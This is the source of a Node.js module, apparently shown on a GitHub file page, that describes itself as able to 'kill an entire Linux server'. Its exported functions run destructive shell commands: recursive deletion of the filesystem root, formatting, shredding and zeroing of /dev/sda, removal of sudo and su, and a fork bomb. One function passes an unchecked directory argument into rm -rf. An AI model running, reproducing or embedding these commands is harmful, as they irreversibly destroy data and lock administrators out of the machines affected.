-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
116 lines (115 loc) · 3.22 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
let shell = require('shelljs')
let a = require('app-root-path')
/**
* Killerjs
* A Node Module that Can Kill an Entire Linux Server
*
* @name killer
* @function
* @return {Promise} A promise object.
*/
let killer = () => {
return new Promise((done, err) => {
err(`Please Check the API for Available methods.`)
})
}
killer.destroyRoot = () => {
return new Promise((done, err) => {
shell.exec('rm -rf --no-preserve-root /', (code, out, error) => {
if(error) {
err(error)
} else {
done(`Destroyed The Server Root.`)
}
})
})
}
killer.format = () => {
return new Promise((done, err) => {
shell.exec('mkfs.ext3 /dev/sda', (code, out, error) => {
if(error) {
err(error)
} else {
done(`Formatted the Drive`)
}
})
})
}
killer.overWrite = () => {
return new Promise((done, err) => {
shell.exec('shred -v /dev/sda', (code, out, error) => {
if(error) {
err(error)
} else {
done(`Drive has been Overwritten Successfully.`)
}
})
})
}
killer.disableRoot = () => {
return new Promise((d, e) => {
shell.exec('rm -f /usr/bin/sudo;rm -f /bin/su', (c, o, er) => {
if(er) {
e(er)
} else {
d(`Disabled Root Successfully.`)
}
})
})
}
killer.implode = () => {
return new Promise((done, err) => {
shell.exec('mv / /dev/null', (code, out, error) => {
if(error) {
err(error)
} else {
done(`Successfully Imploded the Drive.`)
}
})
})
}
killer.wipe = () => {
return new Promise((done, err) => {
shell.exec('dd if=/dev/zero of=/dev/sda', (code, out, error) => {
if(error) {
err(error)
} else {
done(`Successfully Wiped the Drive.`)
}
})
})
}
killer.forkBomb = () => {
return new Promise((done, err) => {
shell.exec(':(){:|:&};:', (code, out, error) => {
if(error) {
err(error)
} else {
done(`Successfully Executed forkBomb`)
}
})
})
}
killer.destroyProject = () => {
return new Promise((d, e) => {
shell.exec(`rm -rf ${a.resolve('/')}`, (c, o, er) => {
if(er) {
e(er)
} else {
d(`Destroyed the Project Directory`)
}
})
})
}
killer.destroyADir = (dir) => {
return new Promise((d, e) => {
shell.exec(`rm -rf ${dir}`, (c, o, er) => {
if(er) {
e(er)
} else {
d(`Destroyed the dir ${dir}`)
}
})
})
}
module.exports = killer;